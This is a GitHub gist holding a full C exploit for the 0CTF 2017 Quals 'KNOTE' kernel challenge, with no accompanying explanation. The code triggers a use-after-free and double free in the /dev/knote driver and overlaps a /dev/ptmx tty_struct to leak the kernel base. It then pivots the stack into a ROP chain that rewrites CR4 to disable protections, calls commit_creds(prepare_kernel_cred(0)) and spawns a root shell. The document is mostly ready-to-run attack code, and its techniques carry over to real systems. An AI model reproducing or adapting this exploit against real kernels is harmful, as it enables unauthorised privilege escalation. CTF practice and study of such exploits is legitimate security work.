Skip to content

Instantly share code, notes, and snippets.

@shift-crops
Last active December 25, 2018 11:35
Show Gist options
  • Save shift-crops/00f5f35ca41890f135c1fa158a375b53 to your computer and use it in GitHub Desktop.
Save shift-crops/00f5f35ca41890f135c1fa158a375b53 to your computer and use it in GitHub Desktop.
0CTF 2017 Quals KNOTE
// gcc exploit.c -masm=intel -fno-PIE -static -no-pie -o exploit
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
size_t read(int fd, void *buf, size_t count);
size_t write(int fd, void *buf, size_t count);
int open(const char* pathname, int flags, ...);
int close(int fd);
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
int mprotect(void *addr, size_t len, int prot);
int munmap(void *addr, size_t length);
int ioctl(int fd, unsigned long request, ...);
int execve(const char *filename, char *const argv[], char *const envp[]);
void exit(int status);
static void dump(void *buf, unsigned long size);
void get_root(void* func);
void shell(void);
static void save_state(void);
static void restore_state(void);
struct state {
unsigned long rip;
unsigned long cs;
unsigned long rflags;
unsigned long rsp;
unsigned long ss;
} stat;
/* exploit */
#define BASE 0xffffffff81000000
#define OFFSET(addr) ((addr) - (BASE))
#define ADDR(offset) (kernel_base + (offset))
unsigned long kernel_base = 0;
unsigned long ofs_ptm_unix98_ops = OFFSET(0xffffffff81a7ba00);
unsigned long ofs_prepare_kernel_cred = OFFSET(0xffffffff810a5930);
unsigned long ofs_commit_creds = OFFSET(0xffffffff810a5540);
unsigned long ofs_stack_pivot = OFFSET(0xffffffff8125bf75); // mov esp, 0xF6000000 ; ret
unsigned long ofs_pop_rdi = OFFSET(0xffffffff8143f7cc); // pop rdi ; ret
unsigned long ofs_mov_cr4_edi_pop1 = OFFSET(0xffffffff8101ae00); // mov cr4, edi ; pop rbp ; ret
struct cred* (*prepare_kernel_cred)(struct task_struct *daemon);
int (*commit_creds)(struct cred *new);
struct time {
unsigned long year;
unsigned long month;
unsigned long day;
unsigned long hour;
unsigned long minute;
unsigned long second;
};
static int add_note(int fd, unsigned epoch, void *buf, unsigned long size);
static int delete_note(int fd, unsigned epoch, unsigned long id);
static int read_note(int fd, unsigned epoch, unsigned long id, void *buf, unsigned long size);
static int edit_note(int fd, unsigned epoch, unsigned long id, void *buf, unsigned long size);
#define ID(x) (0xdeadbeef + (x))
/*
0 : 0, 8, 16, 21, 29, 42
1 : 3, 11, 24, 32, 37
2 : 6, 14, 19, 27, 35, 40
3 : 1, 9, 17, 22, 30
4 : 4, 12, 25, 33, 38
5 : 7, 15, 20, 28, 41
6 : 2, 10, 23, 31, 36
7 : 5, 13, 18, 26, 34, 39
*/
void main(void){
int fd, pfd;
unsigned long tty_struct[0x400/sizeof(unsigned long)] = {};
unsigned long fake_operations[31] = {};
unsigned long *fake_stack;
char buf[0x400] = {};
if((fd = open("/dev/knote", O_RDWR)) < 0){
perror("open /dev/knote failed");
exit(-1);
}
add_note(fd, 16, tty_struct, 0); // 0 (16->0)
add_note(fd, 8, buf, 0x400); // 1 (8->0)
add_note(fd, 3, buf, 0); // 2 (3->1)
add_note(fd, 11, buf, 0); // 3 (11->1)
delete_note(fd, 8, ID(1)); // Trigger UAF
delete_note(fd, 11, ID(3));
delete_note(fd, 8, ID(1)); // Double Free
pfd = open("/dev/ptmx", O_NOCTTY|O_RDWR);
add_note(fd, 18, buf, 0); // 4 (18->7)
read_note(fd, 18, ID(4), tty_struct, 0x400);
unsigned long ptm_unix98_ops = tty_struct[3];
kernel_base = ptm_unix98_ops - ofs_ptm_unix98_ops;
prepare_kernel_cred = ADDR(ofs_prepare_kernel_cred);
commit_creds = ADDR(ofs_commit_creds);
printf("[+] kernel_base = %p\n", kernel_base);
if((fake_stack = mmap((void*)(0xf6000000-0x1000), 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0)) != (void*)(0xf6000000-0x1000)){
perror("mmap failed");
exit(-3);
}
fake_stack += (0x1000/sizeof(unsigned long));
*(fake_stack++) = ADDR(ofs_pop_rdi);
*(fake_stack++) = 0x6e0; // new cr4
*(fake_stack++) = ADDR(ofs_mov_cr4_edi_pop1);
*(fake_stack++) = 0xdeadbeef;
*(fake_stack++) = ADDR(ofs_pop_rdi);
*(fake_stack++) = shell;
*(fake_stack++) = get_root;
tty_struct [3] = fake_operations; // ops
fake_operations[12] = ADDR(ofs_stack_pivot); // ioctl
edit_note(fd, 18, ID(4), tty_struct, 0x400);
printf("overwrite tty_struct ops\n");
save_state();
ioctl(pfd, 0xdeadbeef, 0xcafebabe);
}
void epoch2time(unsigned epoch, struct time *ptime){
ptime->year = epoch/(60*60*24*31*12) + 1970;
ptime->month = (epoch/(60*60*24*31))%12 + 1;
ptime->day = (epoch/(60*60*24))%31 + 1;
ptime->hour = (epoch/(60*60))%24;
ptime->minute = (epoch/60)%60;
ptime->second = epoch%60;
}
static int add_note(int fd, unsigned epoch, void *buf, unsigned long size){
struct {
struct time time;
unsigned long size;
void *addr;
} data;
epoch2time(epoch, &data.time);
data.size = size;
data.addr = buf;
return ioctl(fd, 0x1337, &data);
}
static int delete_note(int fd, unsigned epoch, unsigned long id){
struct {
unsigned long id;
struct time time;
} data;
data.id = id;
epoch2time(epoch, &data.time);
return ioctl(fd, 0x1338, &data);
}
static int read_note(int fd, unsigned epoch, unsigned long id, void *buf, unsigned long size){
struct {
unsigned long id;
struct time time;
unsigned long size;
void *addr;
} data;
data.id = id;
epoch2time(epoch, &data.time);
data.size = size;
data.addr = buf;
return ioctl(fd, 0x1339, &data);
}
static int edit_note(int fd, unsigned epoch, unsigned long id, void *buf, unsigned long size){
struct {
unsigned long mode;
unsigned long id;
struct time time;
unsigned long size;
void *addr;
} data;
data.mode = 0x1ee12ee23ee34ee4;
data.id = id;
epoch2time(epoch, &data.time);
data.size = size;
data.addr = buf;
return ioctl(fd, 0x133a, &data);
}
/* funcs */
static void dump(void *buf, unsigned long size){
unsigned long *p = buf;
printf("=== DUMP (%p-%p) ===\n", buf, buf+size);
for(int i=0; i<size/8; i++){
printf("%016lx ", p[i]);
if(i%4 == 3)
printf("\n");
}
printf("\n");
}
static void save_state(void) {
register long *rsp asm("rsp");
asm(
"mov rax, ss\n"
"push rax\n"
"lea rax, [rsp+0x18]\n"
"push rax\n"
"pushfq\n"
"mov rax, cs\n"
"push rax\n"
"mov rax, [rbp+8]\n"
"push rax\n"
);
memcpy(&stat, rsp, sizeof(stat));
asm("add rsp, 0x28");
}
static void restore_state(void){
register long *rsp asm("rsp");
asm("sub rsp, 0x28");
memcpy(rsp, &stat, sizeof(stat));
asm(
"swapgs\n"
"iretq"
);
__builtin_unreachable();
}
void get_root(void* func){
commit_creds(prepare_kernel_cred(0));
stat.rip = func;
restore_state();
}
void shell(void){
char *argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}
asm(
"read:\n"
"mov rax, 0\n"
"syscall\n"
"ret\n"
"write:\n"
"mov rax, 1\n"
"syscall\n"
"ret\n"
"open:\n"
"mov rax, 2\n"
"syscall\n"
"ret\n"
"close:\n"
"mov rax, 3\n"
"syscall\n"
"ret\n"
"mmap:\n"
"mov rax, 9\n"
"mov r10, rcx\n"
"syscall\n"
"ret\n"
"mprotect:\n"
"mov rax, 10\n"
"syscall\n"
"ret\n"
"munmap:\n"
"mov rax, 11\n"
"syscall\n"
"ret\n"
"ioctl:\n"
"mov rax, 16\n"
"syscall\n"
"ret\n"
"execve:\n"
"mov rax, 59\n"
"syscall\n"
"ret\n"
"exit:\n"
"mov rax, 60\n"
"syscall\n"
);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment